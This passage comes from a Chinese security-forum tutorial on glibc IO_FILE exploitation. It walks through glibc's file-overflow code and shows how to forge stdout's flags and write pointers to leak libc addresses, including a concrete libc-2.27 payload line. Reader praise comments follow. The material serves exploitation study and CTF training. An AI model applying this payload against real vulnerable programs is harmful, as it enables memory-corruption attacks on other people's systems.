      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  // 判断输出缓冲区是否为空 以及 是否不包含_IO_CURRENTLY_PUTTING标志位
  // 为了不执行该if分支以免出错,最好定义 _flags 包含 _IO_CURRENTLY_PUTTING
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      ...
    }
  // 调用_IO_do_write 输出 输出缓冲区
  // 从_IO_write_base开始,输出(_IO_write_ptr - f->_IO_write_base)个字节的数据
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);
  return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  ...
  _IO_size_t count;
  // 为了不执行else if分支中的内容以产生错误,可构造_flags包含_IO_IS_APPENDING 或 设置_IO_read_end等于_IO_write_base
  if (fp->_flags & _IO_IS_APPENDING)
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  // 调用函数输出输出缓冲区
  count = _IO_SYSWRITE (fp, data, to_do);
  ...
  return count;
}

综上,为了做到任意读,满足如下条件,即可进行利用:
(1) 设置_flag &~ _IO_NO_WRITES,即_flag &~ 0x8
(2) 设置_flag & _IO_CURRENTLY_PUTTING,即_flag | 0x800
(3) 设置_fileno1
(4) 设置_IO_write_base指向想要泄露的地方,_IO_write_ptr指向泄露结束的地址;
(5) 设置_IO_read_end等于_IO_write_base 或 设置_flag & _IO_IS_APPENDING即,_flag | 0x1000
此外,有一个大前提:需要调用_IO_OVERFLOW()才行,因此需使得需要输出的内容中含有\n换行符 或 设置_IO_write_end等于_IO_write_ptr(输出缓冲区无剩余空间)等。
一般来说,经常利用puts函数加上述stdout任意读的方式泄露libc
_flag的构造需满足的条件:

1
2
3
4
_flags = 0xfbad0000 
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

因此,例如在libc-2.27下,构造payload = p64(0xfbad1800) + p64(0)*3 + b'\x58',泄露出的第一个地址即为_IO_file_jumps的地址。
此外,_flags也可再加一些其他无关紧要的部分,如设置为0xfbad18870xfbad18800xfbad3887等等。

global_max_fast的相关利用 (house of corrosion)


[注意]看雪招聘,专注安全领域的专业人才平台!

最后于 2022-9-4 13:19 被winmt编辑 ,原因:
收藏
免费 47
支持
分享
打赏 + 101.00雪花
打赏次数 2 雪花 + 101.00
 
赞赏  h1J4cker   +1.00 2022/08/06 winmt师傅是我的神
赞赏  Editor   +100.00 2022/05/09 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (7)
雪    币: 15618
活跃值: (16997)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
2
给师傅点赞!高质量!
2022-3-30 17:52
1
雪    币: 2143
活跃值: (2967)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
3
高质量文章
2022-3-31 14:36
0
雪    币: 389
活跃值: (565)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
4
可以学一年了
2022-4-1 15:12
0
雪    币: 4300
活跃值: (7078)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
5
前来膜拜tql
2023-7-23 12:42
1
雪    币: 32
活跃值: (540)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
tql大佬
2023-8-2 15:36
1
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
7
膜拜大佬
2025-1-15 20:32
0
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
8
师傅太细了,学到了一堆利用手法
2025-1-16 12:44
0
游客
登录 | 注册 方可回帖
返回